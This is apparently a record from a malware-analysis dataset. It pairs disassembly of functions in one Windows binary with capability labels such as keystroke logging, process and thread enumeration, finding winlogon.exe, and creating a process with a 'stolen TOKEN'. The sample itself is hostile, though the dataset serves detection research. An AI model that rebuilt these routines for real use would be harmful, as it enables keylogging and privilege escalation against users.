joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1400d6d70
Capabilities:
Get system information on windows
Make suspicious ntquerysysteminformation call

Disassembly:
mov qword [rsp + 8], rcx
sub rsp, 0x88
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x24], 0
lea r9, [rsp + 0x24]
mov r8d, dword [rsp + 0x24]
mov rdx, qword [rsp + 0x28]
mov ecx, ntohl
call qword [sym.imp.ntdll.dll_NtQuerySystemInformation]
mov dword [rsp + 0x30], eax
cmp dword [rsp + 0x30], 0xc0000004
jne 0x1400d6e0f
cmp qword [rsp + 0x28], 0
je 0x1400d6dd0
mov r8d, 0x8000
xor edx, edx
mov rcx, qword [rsp + 0x28]
call qword [sym.imp.KERNEL32.DLL_VirtualFree]
mov eax, dword [rsp + 0x24]
mov r9d, 4
mov r8d, 0x3000
mov edx, eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.DLL_VirtualAlloc]
mov qword [rsp + 0x28], rax
lea r9, [rsp + 0x24]
mov r8d, dword [rsp + 0x24]
mov rdx, qword [rsp + 0x28]
mov ecx, ntohl
call qword [sym.imp.ntdll.dll_NtQuerySystemInformation]
mov dword [rsp + 0x30], eax
jmp 0x1400d6dab
cmp dword [rsp + 0x30], 0
jge 0x1400d6e38
cmp qword [rsp + 0x28], 0
je 0x1400d6e31
mov r8d, 0x8000
xor edx, edx
mov rcx, qword [rsp + 0x28]
call qword [sym.imp.KERNEL32.DLL_VirtualFree]
xor eax, eax
jmp 0x1400d6f53
mov rax, qword [rsp + 0x28]
mov qword [rsp + 0x38], rax
cmp qword [rsp + 0x38], 0
jne 0x1400d6e51
xor eax, eax
jmp 0x1400d6f53
mov dword [rsp + 0x20], 0
jmp 0x1400d6e65
mov eax, dword [rsp + 0x20]
inc eax
mov dword [rsp + 0x20], eax
mov rax, qword [rsp + 0x38]
mov eax, dword [rax]
cmp dword [rsp + 0x20], eax
jae 0x1400d6f3e
mov eax, dword [rsp + 0x20]
imul rax, rax, 0x128
mov rcx, qword [rsp + 0x38]
lea rax, [rcx + rax + 8]
mov ecx, dword [rsp + 0x20]
imul rcx, rcx, 0x128
mov rdx, qword [rsp + 0x38]
movzx ecx, word [rdx + rcx + 0x2e]
lea rax, [rax + rcx + 0x28]
mov rdx, rax
lea rcx, [rsp + 0x60]
call fcn.140016480
mov rcx, qword [rsp + 0x90]
call fcn.140016020
mov qword [rsp + 0x40], rax
lea rcx, [rsp + 0x60]
call fcn.140016020
mov qword [rsp + 0x48], rax
mov rdx, qword [rsp + 0x40]
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__stricmp]
test eax, eax
jne 0x1400d6f2f
mov eax, dword [rsp + 0x20]
imul rax, rax, 0x128
mov rcx, qword [rsp + 0x38]
mov rax, qword [rcx + rax + 0x18]
mov qword [rsp + 0x50], rax
mov r8d, 0x8000
xor edx, edx
mov rcx, qword [rsp + 0x28]
call qword [sym.imp.KERNEL32.DLL_VirtualFree]
mov rax, qword [rsp + 0x50]
mov qword [rsp + 0x58], rax
lea rcx, [rsp + 0x60]
call fcn.140016350
mov rax, qword [rsp + 0x58]
jmp 0x1400d6f53
lea rcx, [rsp + 0x60]
call fcn.140016350
jmp 0x1400d6e5b
mov r8d, 0x8000
xor edx, edx
mov rcx, qword [rsp + 0x28]
call qword [sym.imp.KERNEL32.DLL_VirtualFree]
xor eax, eax
add rsp, 0x88
ret
Function at 0x1400d70b0
Capabilities:
Enumerate pe sections
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x78
mov rax, qword [rsp + 0x80]
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x30], 0xffffffffffffffff
inc qword [rsp + 0x30]
mov rax, qword [rsp + 0x50]
mov rcx, qword [rsp + 0x30]
cmp byte [rax + rcx], 0
jne 0x1400d70d9
mov rax, qword [rsp + 0x30]
mov qword [rsp + 0x48], rax
mov rax, qword [rsp + 0x88]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x88]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0x40]
movzx eax, word [rax + 0x14]
mov rcx, qword [rsp + 0x40]
lea rax, [rcx + rax + 0x18]
mov qword [rsp + 0x58], rax
mov dword [rsp + 0x20], 0
jmp 0x1400d7143
mov eax, dword [rsp + 0x20]
inc eax
mov dword [rsp + 0x20], eax
mov rax, qword [rsp + 0x40]
movzx eax, word [rax + 6]
cmp dword [rsp + 0x20], eax
jae 0x1400d7209
mov eax, dword [rsp + 0x20]
imul rax, rax, 0x28
mov rcx, qword [rsp + 0x58]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
mov r8, qword [rsp + 0x48]
mov rdx, qword [rsp + 0x80]
mov rcx, rax
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
jne 0x1400d7204
mov rax, qword [rsp + 0x28]
mov qword [rsp + 0x60], rax
mov qword [rsp + 0x38], 0xffffffffffffffff
inc qword [rsp + 0x38]
mov rax, qword [rsp + 0x60]
mov rcx, qword [rsp + 0x38]
cmp byte [rax + rcx], 0
jne 0x1400d719f
mov rax, qword [rsp + 0x38]
cmp qword [rsp + 0x48], rax
jne 0x1400d7204
mov rax, qword [rsp + 0x28]
cmp dword [rax + 0xc], 0
jne 0x1400d71cf
xor eax, eax
jmp 0x1400d720b
cmp qword [rsp + 0x90], 0
je 0x1400d71ec
mov rax, qword [rsp + 0x90]
mov rcx, qword [rsp + 0x28]
mov ecx, dword [rcx + 8]
mov dword [rax], ecx
mov rax, qword [rsp + 0x28]
mov eax, dword [rax + 0xc]
mov rcx, qword [rsp + 0x88]
add rcx, rax
mov rax, rcx
jmp 0x1400d720b
jmp 0x1400d7139
xor eax, eax
add rsp, 0x78
ret
Function at 0x1400e1c70
Capabilities:
Log keystrokes via polling

Disassembly:
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x98
call fcn.14006c090
cvttss2si eax, xmm0
mov dword [rsp + 0x34], eax
mov eax, dword [rsp + 0x34]
add eax, 3
cvtsi2ss xmm0, eax
call fcn.14006c120
mov rcx, qword [rsp + 0xa0]
call fcn.14009e280
movss xmm1, dword [0x14019778c]
xorps xmm0, xmm0
call fcn.14006be70
call fcn.1400504b0
mov qword [rsp + 0x40], rax
xor r8d, r8d
mov rdx, qword [rsp + 0xa0]
mov rcx, qword [rsp + 0x40]
call fcn.140057490
mov dword [rsp + 0x38], eax
cvtsi2ss xmm0, dword [rsp + 0x34]
call fcn.14006c120
mov rdx, qword [rsp + 0xa8]
lea rcx, [0x1401cf248]
call fcn.1400e20e0
mov r9, qword [rsp + 0xa0]
mov r8, qword [rax]
lea rdx, str._s_s
lea rcx, [rsp + 0x78]
call fcn.140002860
movzx eax, byte [0x1401cfc28]
test eax, eax
jne 0x1400e1da8
movss xmm0, dword [0x140197604]
movss dword [rsp + 0x20], xmm0
xorps xmm3, xmm3
xorps xmm2, xmm2
xorps xmm1, xmm1
lea rcx, [rsp + 0x58]
call fcn.140002e30
lea rdx, [rsp + 0x58]
mov ecx, reloc.WLDAP32.dll_Ordinal_22
call fcn.140054b20
movss xmm2, dword [0x1401976b8]
movss xmm1, dword [0x1401976e0]
lea rcx, [rsp + 0x48]
call fcn.140002df0
lea rdx, [rsp + 0x48]
lea rcx, [rsp + 0x78]
call fcn.14009f260
movzx eax, al
test eax, eax
je 0x1400e1d99
mov eax, dword [rsp + 0x38]
mov dword [0x1401cfe9c], eax
mov byte [0x1401cfc28], 1
mov ecx, 1
call fcn.140054bd0
jmp 0x1400e1e6c
movss xmm0, dword [0x140197604]
movss dword [rsp + 0x20], xmm0
xorps xmm3, xmm3
xorps xmm2, xmm2
xorps xmm1, xmm1
lea rcx, [rsp + 0x68]
call fcn.140002e30
lea rdx, [rsp + 0x68]
mov ecx, reloc.WLDAP32.dll_Ordinal_22
call fcn.140054b20
movss xmm2, dword [0x1401976b8]
movss xmm1, dword [0x1401976e0]
lea rcx, [rsp + 0x50]
call fcn.140002df0
lea rdx, [rsp + 0x50]
lea rcx, [0x140193e64]
call fcn.14009f260
movzx eax, al
mov dword [rsp + 0x30], 0
jmp 0x1400e1e1a
mov eax, dword [rsp + 0x30]
inc eax
mov dword [rsp + 0x30], eax
cmp dword [rsp + 0x30], 0x67
jge 0x1400e1e62
mov ecx, dword [rsp + 0x30]
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
cwde
and eax, 0x8000
test eax, eax
je 0x1400e1e60
mov eax, dword [rsp + 0x38]
cmp dword [0x1401cfe9c], eax
jne 0x1400e1e60
mov rax, qword [rsp + 0xa8]
mov ecx, dword [rsp + 0x30]
mov dword [rax], ecx
mov byte [0x1401cfc28], 0
mov dword [0x1401cfe9c], 0
jmp 0x1400e1e10
mov ecx, 1
call fcn.140054bd0
add rsp, 0x98
ret
Function at 0x1400e8530
Capabilities:
Enumerate processes

Disassembly:
mov qword [rsp + 8], rcx
sub rsp, 0x278
mov dword [rsp + 0x30], 0x238
xor edx, edx
mov ecx, 2
call qword [sym.imp.KERNEL32.DLL_CreateToolhelp32Snapshot]
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0xffffffffffffffff
jne 0x1400e8565
xor eax, eax
jmp 0x1400e85e6
lea rdx, [rsp + 0x30]
mov rcx, qword [rsp + 0x20]
call qword [sym.imp.KERNEL32.DLL_Process32FirstW]
lea rdx, [rsp + 0x5c]
mov rcx, qword [rsp + 0x280]
call fcn.1400e9770
test eax, eax
jne 0x1400e859c
mov rcx, qword [rsp + 0x20]
call qword [sym.imp.KERNEL32.DLL_CloseHandle]
mov eax, dword [rsp + 0x38]
jmp 0x1400e85e6
lea rdx, [rsp + 0x30]
mov rcx, qword [rsp + 0x20]
call qword [sym.imp.KERNEL32.DLL_Process32NextW]
test eax, eax
je 0x1400e85d9
lea rdx, [rsp + 0x5c]
mov rcx, qword [rsp + 0x280]
call fcn.1400e9770
test eax, eax
jne 0x1400e85d7
mov rcx, qword [rsp + 0x20]
call qword [sym.imp.KERNEL32.DLL_CloseHandle]
mov eax, dword [rsp + 0x38]
jmp 0x1400e85e6
jmp 0x1400e859c
mov rcx, qword [rsp + 0x20]
call qword [sym.imp.KERNEL32.DLL_CloseHandle]
xor eax, eax
add rsp, 0x278
ret

Function at 0x1400e85f0
Capabilities:
Enumerate process modules

Disassembly:
mov qword [rsp + 0x10], rdx
mov dword [rsp + 8], ecx
push rdi
sub rsp, 0x480
mov edx, dword [rsp + 0x490]
mov ecx, 8
call qword [sym.imp.KERNEL32.DLL_CreateToolhelp32Snapshot]
mov qword [rsp + 0x20], rax
mov qword [rsp + 0x28], 0
cmp qword [rsp + 0x20], 0xffffffffffffffff
je 0x1400e86a0
lea rax, [rsp + 0x40]
mov rdi, rax
xor eax, eax
mov ecx, 0x438
rep stosb byte [rdi], al
mov dword [rsp + 0x40], 0x438
lea rdx, [rsp + 0x40]
mov rcx, qword [rsp + 0x20]
call qword [sym.imp.KERNEL32.DLL_Module32FirstW]
test eax, eax
je 0x1400e8695
mov rcx, qword [rsp + 0x498]
call fcn.140047710
mov rdx, rax
lea rcx, [rsp + 0x70]
call fcn.1400c9760
test rax, rax
je 0x1400e8681
mov rax, qword [rsp + 0x58]
mov qword [rsp + 0x28], rax
jmp 0x1400e8695
lea rdx, [rsp + 0x40]
mov rcx, qword [rsp + 0x20]
call qword [sym.imp.KERNEL32.DLL_Module32NextW]
test eax, eax
jne 0x1400e8656
mov rcx, qword [rsp + 0x20]
call qword [sym.imp.KERNEL32.DLL_CloseHandle]
mov rax, qword [rsp + 0x28]
mov qword [rsp + 0x30], rax
mov rcx, qword [rsp + 0x498]
call fcn.140015de0
mov rax, qword [rsp + 0x30]
add rsp, 0x480
pop rdi
ret
Function at 0x1400e86d0
Capabilities:
Enumerate threads
Suspend thread

Disassembly:
mov dword [rsp + 8], ecx
sub rsp, 0x58
xor edx, edx
mov ecx, 4
call qword [sym.imp.KERNEL32.DLL_CreateToolhelp32Snapshot]
mov qword [rsp + 0x20], rax
mov dword [rsp + 0x30], Ordinal_32
lea rdx, [rsp + 0x30]
mov rcx, qword [rsp + 0x20]
call qword [sym.imp.KERNEL32.DLL_Thread32First]
mov eax, dword [rsp + 0x60]
cmp dword [rsp + 0x3c], eax
jne 0x1400e8739
mov r8d, dword [rsp + 0x38]
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.DLL_OpenThread]
mov qword [rsp + 0x28], rax
mov rcx, qword [rsp + 0x28]
call qword [sym.imp.KERNEL32.DLL_SuspendThread]
mov rcx, qword [rsp + 0x28]
call qword [sym.imp.KERNEL32.DLL_CloseHandle]
lea rdx, [rsp + 0x30]
mov rcx, qword [rsp + 0x20]
call qword [sym.imp.KERNEL32.DLL_Thread32Next]
test eax, eax
jne 0x1400e8702
mov rcx, qword [rsp + 0x20]
call qword [sym.imp.KERNEL32.DLL_CloseHandle]
add rsp, 0x58
ret

Function at 0x1400e8fc0
Capabilities:
Enumerate process modules
Enumerate processes

Disassembly:
mov eax, 0x22c8
call fcn.140151ee0
sub rsp, rax
lea r8, [rsp + 0x30]
mov edx, 0x2000
lea rcx, [rsp + 0x2c0]
call qword [sym.imp.KERNEL32.DLL_K32EnumProcesses]
xor edx, edx
mov ecx, 2
call qword [sym.imp.KERNEL32.DLL_CreateToolhelp32Snapshot]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x80], 0x238
lea rdx, [rsp + 0x80]
mov rcx, qword [rsp + 0x28]
call qword [sym.imp.KERNEL32.DLL_Process32FirstW]
test eax, eax
je 0x1400e90ef
lea rdx, [rsp + 0xac]
lea rcx, [rsp + 0x58]
call fcn.1400e8c20
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x38]
mov qword [rsp + 0x40], rax
lea rdx, str.winlogon.exe
mov rcx, qword [rsp + 0x40]
call fcn.14001aa80
mov byte [rsp + 0x20], al
lea rcx, [rsp + 0x58]
call fcn.140016350
movzx eax, byte [rsp + 0x20]
test eax, eax
je 0x1400e90c9
lea rdx, str.___Located_winlogon.exe_by_process_name__PID
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400d3630
mov qword [rsp + 0x48], rax
mov edx, dword [rsp + 0x88]
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int____ptr64]
lea rdx, [0x140193f5c]
mov rcx, rax
call fcn.1400d3630
mov qword [rsp + 0x50], rax
lea rdx, [0x1400d3a40]
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov eax, dword [rsp + 0x88]
mov dword [rsp + 0x24], eax
mov eax, dword [rsp + 0x24]
jmp 0x1400e90ef
lea rdx, [rsp + 0x80]
mov rcx, qword [rsp + 0x28]
call qword [sym.imp.KERNEL32.DLL_Process32NextW]
test eax, eax
jne 0x1400e901d
mov rcx, qword [rsp + 0x28]
call qword [sym.imp.KERNEL32.DLL_CloseHandle]
add rsp, 0x22c8
ret
Function at 0x1400e9100
Capabilities:
Create process on windows

Disassembly:
mov qword [rsp + 8], rcx
push rdi
sub rsp, 0x510
lea rax, [rsp + 0x80]
mov rdi, rax
xor eax, eax
mov ecx, 0x68
rep stosb byte [rdi], al
lea rax, [rsp + 0x68]
mov rdi, rax
xor eax, eax
mov ecx, Ordinal_27
rep stosb byte [rdi], al
mov dword [rsp + 0x80], WSAGetLastError
mov r8d, 0x104
lea rdx, [rsp + 0xf0]
xor ecx, ecx
call qword [sym.imp.KERNEL32.DLL_GetModuleFileNameW]
lea r8, [rsp + 0xf0]
lea rdx, [0x140193f18]
lea rcx, [rsp + 0x300]
call qword [sym.imp.USER32.dll_wsprintfW]
lea rax, [rsp + 0x68]
mov qword [rsp + 0x40], rax
lea rax, [rsp + 0x80]
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
lea r9, [rsp + 0x300]
xor r8d, r8d
mov edx, 1
mov rcx, qword [rsp + 0x520]
call qword [sym.imp.ADVAPI32.dll_CreateProcessWithTokenW]
test eax, eax
je 0x1400e91ca
mov byte [rsp + 0x50], 1
jmp 0x1400e91cf
mov byte [rsp + 0x50], 0
movzx eax, byte [rsp + 0x50]
mov byte [rsp + 0x51], al
movzx eax, byte [rsp + 0x51]
test eax, eax
jne 0x1400e9212
lea rdx, str.____Failed_to_create_a_new_process_with_the_stolen_TOKEN
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400d3630
mov qword [rsp + 0x58], rax
lea rdx, [0x1400d3a40]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov eax, 0xffffffff
jmp 0x1400e9257
lea rdx, str.___Created_a_new_process_with_the_stolen_TOKEN
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400d3630
mov qword [rsp + 0x60], rax
lea rdx, [0x1400d3a40]
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rcx, qword [rsp + 0x520]
call fcn.1400e8d10
mov rcx, qword [rsp + 0x520]
call qword [sym.imp.KERNEL32.DLL_CloseHandle]
add rsp, 0x510
pop rdi
ret
Function at 0x1400f2470
Capabilities:
Hash data using sha256

Disassembly:
mov qword [rsp + 8], rcx
mov rax, qword [rsp + 8]
mov dword [rax + 0x28], 0
mov rax, qword [rsp + 8]
mov qword [rax], 0
mov eax, 4
imul rax, rax, 0
mov rcx, qword [rsp + 8]
mov dword [rcx + rax + 8], 0x6a09e667
mov eax, 4
imul rax, rax, 1
mov rcx, qword [rsp + 8]
mov dword [rcx + rax + 8], 0xbb67ae85
mov eax, 4
imul rax, rax, 2
mov rcx, qword [rsp + 8]
mov dword [rcx + rax + 8], 0x3c6ef372
mov eax, 4
imul rax, rax, 3
mov rcx, qword [rsp + 8]
mov dword [rcx + rax + 8], 0xa54ff53a
mov eax, 4
imul rax, rax, 4
mov rcx, qword [rsp + 8]
mov dword [rcx + rax + 8], 0x510e527f
mov eax, 4
imul rax, rax, 5
mov rcx, qword [rsp + 8]
mov dword [rcx + rax + 8], 0x9b05688c
mov eax, 4
imul rax, rax, 6
mov rcx, qword [rsp + 8]
mov dword [rcx + rax + 8], 0x1f83d9ab
mov eax, 4
imul rax, rax, 7
mov rcx, qword [rsp + 8]
mov dword [rcx + rax + 8], 0x5be0cd19
ret
Function at 0x1401064c0
Capabilities:
Read file on windows

Disassembly:
sub rsp, 0x28
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll__read]
cdqe
add rsp, 0x28
ret
Function at 0x140117ca0
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x30
cmp qword [rcx + 0x718], 0
mov rsi, r9
mov rbp, r8
movsxd rbx, edx
mov rdi, rcx
je 0x140117cfe
mov dl, 1
call fcn.1401087c0
mov rax, qword [rdi + 0x670]
mov r9, rsi
mov r8, rbp
mov qword [rsp + 0x20], rax
mov edx, ebx
mov rcx, rdi
call qword [rdi + 0x718]
xor edx, edx
mov rcx, rdi
mov ebx, eax
call fcn.1401087c0
mov eax, ebx
jmp 0x140117d42
cmp ebx, 2
ja 0x140117d40
mov r9, qword [rdi + 0x668]
lea rdx, [0x14015bab8]
lea rcx, [rbx + rbx*2]
add rcx, rdx
mov edx, 2
lea r8d, [rdx - 1]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
mov r9, qword [rdi + 0x668]
mov r8d, 1
mov rdx, rsi
mov rcx, rbp
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
xor eax, eax
mov rbx, qword [rsp + 0x40]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
add rsp, 0x30
pop rdi
ret

Function at 0x140117d60
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 0x10], rdx
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x20], r9
push rdi
sub rsp, 0x160
mov rax, qword [0x1401a7080]
xor rax, rsp
mov qword [rsp + 0x140], rax
cmp byte [rcx + 0xf1e], 0
mov rdi, rcx
jne 0x140117da3
cmp qword [rcx + 0x678], 0
je 0x140117e80
mov r8, rdx
mov qword [rsp + 0x158], rbx
mov edx, 0x100
lea r9, [rsp + 0x180]
lea rcx, [rsp + 0x30]
call fcn.1401068c0
lea rax, [rsp + 0x30]
mov rbx, 0xffffffffffffffff
inc rbx
cmp byte [rax + rbx], 0
jne 0x140117dd1
mov rcx, qword [rdi + 0x678]
test rcx, rcx
je 0x140117e18
cmp byte [rdi + 0x1597], 0
jne 0x140117e18
lea rdx, [rsp + 0x30]
nop dword [rax]
nop dword [rax + rax]
movzx eax, byte [rdx]
lea rdx, [rdx + 1]
mov byte [rcx], al
lea rcx, [rcx + 1]
test al, al
jne 0x140117e00
mov byte [rdi + 0x1597], 1
cmp byte [rdi + 0xf1e], 0
je 0x140117e78
mov byte [rsp + rbx + 0x30], 0xa
inc rbx
cmp rbx, 0x102
jae 0x140117ed3
cmp qword [rdi + 0x718], 0
mov byte [rsp + rbx + 0x30], 0
je 0x140117e99
mov dl, 1
mov rcx, rdi
call fcn.1401087c0
mov rax, qword [rdi + 0x670]
lea r8, [rsp + 0x30]
mov r9, rbx
mov qword [rsp + 0x20], rax
xor edx, edx
mov rcx, rdi
call qword [rdi + 0x718]
xor edx, edx
mov rcx, rdi
call fcn.1401087c0
mov rbx, qword [rsp + 0x158]
mov rcx, qword [rsp + 0x140]
xor rcx, rsp
call fcn.140151eb0
add rsp, 0x160
pop rdi
ret
mov r9, qword [rdi + 0x668]
lea rcx, [0x14015bab8]
mov edx, 2
lea r8d, [rdx - 1]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
mov r9, qword [rdi + 0x668]
lea rcx, [rsp + 0x30]
mov r8d, 1
mov rdx, rbx
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
jmp 0x140117e78
call fcn.140152038
int3
Function at 0x140117ee0
Capabilities:
Write file on windows

Disassembly:
test rcx, rcx
je 0x140118046
mov r11, rsp
mov qword [r11 + 0x10], rdx
mov qword [r11 + 0x18], r8
mov qword [r11 + 0x20], r9
push rdi
sub rsp, 0x860
mov rax, qword [0x1401a7080]
xor rax, rsp
mov qword [rsp + 0x840], rax
cmp byte [rcx + 0xf1e], 0
mov rdi, rcx
je 0x14011802e
mov r8, rdx
mov qword [r11 - 0x10], rbx
mov edx, 0x801
lea r9, [r11 + 0x18]
lea rcx, [rsp + 0x30]
call fcn.1401068c0
movsxd rcx, eax
mov rbx, 0xffffffffffffffff
cmp rcx, 0x801
jb 0x140117fa1
mov rcx, qword [rsp + 0x878]
mov rax, rbx
nop word [rax + rax]
cmp byte [rcx + rax + 1], 0
lea rax, [rax + 1]
jne 0x140117f60
cmp byte [rax + rcx - 1], 0xa
jne 0x140117f88
lea r8, str...._n
mov edx, 5
lea rcx, [rsp + 0x82c]
jmp 0x140117f9c
lea r8, [0x14015bad8]
mov edx, 4
lea rcx, [rsp + 0x82d]
call fcn.1401067c0
lea rax, [rsp + 0x30]
inc rbx
cmp byte [rax + rbx], 0
jne 0x140117fa6
cmp qword [rdi + 0x718], 0
je 0x140117fee
mov dl, 1
mov rcx, rdi
call fcn.1401087c0
mov rax, qword [rdi + 0x670]
lea r8, [rsp + 0x30]
mov r9, rbx
mov qword [rsp + 0x20], rax
xor edx, edx
mov rcx, rdi
call qword [rdi + 0x718]
xor edx, edx
mov rcx, rdi
call fcn.1401087c0
jmp 0x140118026
mov r9, qword [rdi + 0x668]
lea rcx, [0x14015bab8]
mov edx, 2
lea r8d, [rdx - 1]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
mov r9, qword [rdi + 0x668]
lea rcx, [rsp + 0x30]
mov r8d, 1
mov rdx, rbx
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
mov rbx, qword [rsp + 0x858]
mov rcx, qword [rsp + 0x840]
xor rcx, rsp
call fcn.140151eb0
add rsp, 0x860
pop rdi
ret

Function at 0x1401180e0
Capabilities:
Receive data
Receive data on socket

Disassembly:
push rbx
sub rsp, 0x20
mov rbx, r9
xor r9d, r9d
call qword [sym.imp.WS2_32.dll_recv]
movsxd rcx, eax
cmp rcx, 0xffffffffffffffff
jne 0x140118122
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
mov ecx, Ordinal_60
mov qword [rbx], 0
cmp eax, 0x2733
mov edx, 0x51
cmove ecx, edx
mov eax, ecx
add rsp, 0x20
pop rbx
ret
mov qword [rbx], rcx
xor eax, eax
add rsp, 0x20
pop rbx
ret
Function at 0x1401182c0
Capabilities:
Receive data
Receive data on socket
Send data
Send data on socket

Disassembly:
push rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x138
mov rax, qword [0x1401a7080]
xor rax, rsp
mov qword [rsp + 0x120], rax
mov r14, qword [rsp + 0x1a0]
mov rsi, rcx
movsxd rcx, edx
xor r13d, r13d
mov rax, rcx
mov r12, r9
shl rax, 5
mov r15, r8
lea rbx, [rsi + 0x508]
mov rbp, qword [rsi + rcx*8 + 0x4c0]
add rbx, rax
mov rax, qword [rsi + 0x698]
mov rdi, qword [rbx + 8]
sub rdi, qword [rbx + 0x10]
test byte [rax + 0x7c], 3
je 0x1401183c7
lea rax, [0x140118170]
cmp qword [rsi + rcx*8 + 0x4e8], rax
jne 0x1401183c7
cmp qword [rbx], r13
je 0x14011834e
test rdi, rdi
je 0x1401183c7
mov rdx, 0xffffffffffffffff
xor r9d, r9d
mov r8, rdx
mov rcx, rbp
call fcn.140126d90
cmp eax, 0xffffffff
je 0x1401183c7
test al, 1
je 0x1401183c7
mov rax, qword [rbx]
test rax, rax
jne 0x1401183a0
mov rax, qword [rsi]
mov ecx, dword [rax + 0xb70]
add ecx, ecx
movsxd rcx, ecx
mov qword [rbx + 8], rcx
call qword [section..data]
mov rdi, qword [rbx + 8]
mov qword [rbx], rax
mov qword [rbx + 0x10], r13
mov qword [rbx + 0x18], r13
test rax, rax
je 0x1401183c3
mov rdx, qword [rbx + 0x10]
xor r9d, r9d
add rdx, rax
mov r8d, edi
mov rcx, rbp
call qword [sym.imp.WS2_32.dll_recv]
movsxd rcx, eax
test eax, eax
jle 0x1401183c7
add qword [rbx + 0x10], rcx
jmp 0x1401183c7
mov qword [rbx + 8], r13
xor r9d, r9d
mov r8d, r12d
mov rdx, r15
mov rcx, rbp
call qword [sym.imp.WS2_32.dll_send]
movsxd rdi, eax
mov dword [r14], r13d
cmp rdi, 0xffffffffffffffff
jne 0x140118434
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
mov ebx, eax
cmp eax, 0x2733
jne 0x140118400
mov dword [r14], 0x51
mov rax, r13
jmp 0x140118437
mov r8d, 0x100
lea rdx, [rsp + 0x20]
mov ecx, ebx
call fcn.140141bb0
mov rcx, qword [rsi]
lea rdx, str.Send_failure:__s
mov r8, rax
call fcn.140117d60
mov rcx, qword [rsi]
mov dword [rcx + 0x11b0], ebx
mov dword [r14], Ordinal_60
mov rax, rdi
mov rcx, qword [rsp + 0x120]
xor rcx, rsp
call fcn.140151eb0
add rsp, 0x138
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
pop rbx
ret

Function at 0x140118ad0
Capabilities:
Receive data
Receive data on socket

Disassembly:
sub rsp, 0x28
cmp byte [rcx + 0x558], 0
je 0x140118aed
call fcn.140111d20
test eax, eax
jne 0x140118b13
xor al, al
add rsp, 0x28
ret
mov rcx, qword [rcx + 0x4c0]
cmp rcx, 0xffffffffffffffff
je 0x140118ae6
mov r9d, 2
lea rdx, [rsp + 0x30]
lea r8d, [r9 - 1]
call qword [sym.imp.WS2_32.dll_recv]
test eax, eax
je 0x140118ae6
mov al, 1
add rsp, 0x28
ret